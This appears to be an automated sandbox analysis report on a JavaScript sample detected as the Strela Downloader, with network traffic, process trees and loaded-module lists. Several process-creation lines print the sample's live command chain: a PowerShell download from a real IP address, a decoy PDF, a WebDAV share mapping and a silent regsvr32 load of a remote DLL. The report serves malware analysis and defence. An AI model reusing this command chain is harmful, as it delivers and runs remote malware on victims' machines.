30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.7:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:61551 -> 1.1.1.1:53

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1283991814.0000023F1592D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1347492865.000001F361D64000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D3A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1347492865.000001F361D08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/k
Source: net.exe, 0000000C.00000002.1347492865.000001F361D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/w
Source: svchost.exe, 0000000E.00000002.2580833784.0000027D70C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1341149306.0000027D70A60000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6760, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1947415746274847548.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/46@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0gctb5n.v2h.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1947415746274847548.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1692,i,12392372477177603845,12897811238865143999,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1692,i,12392372477177603845,12897811238865143999,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
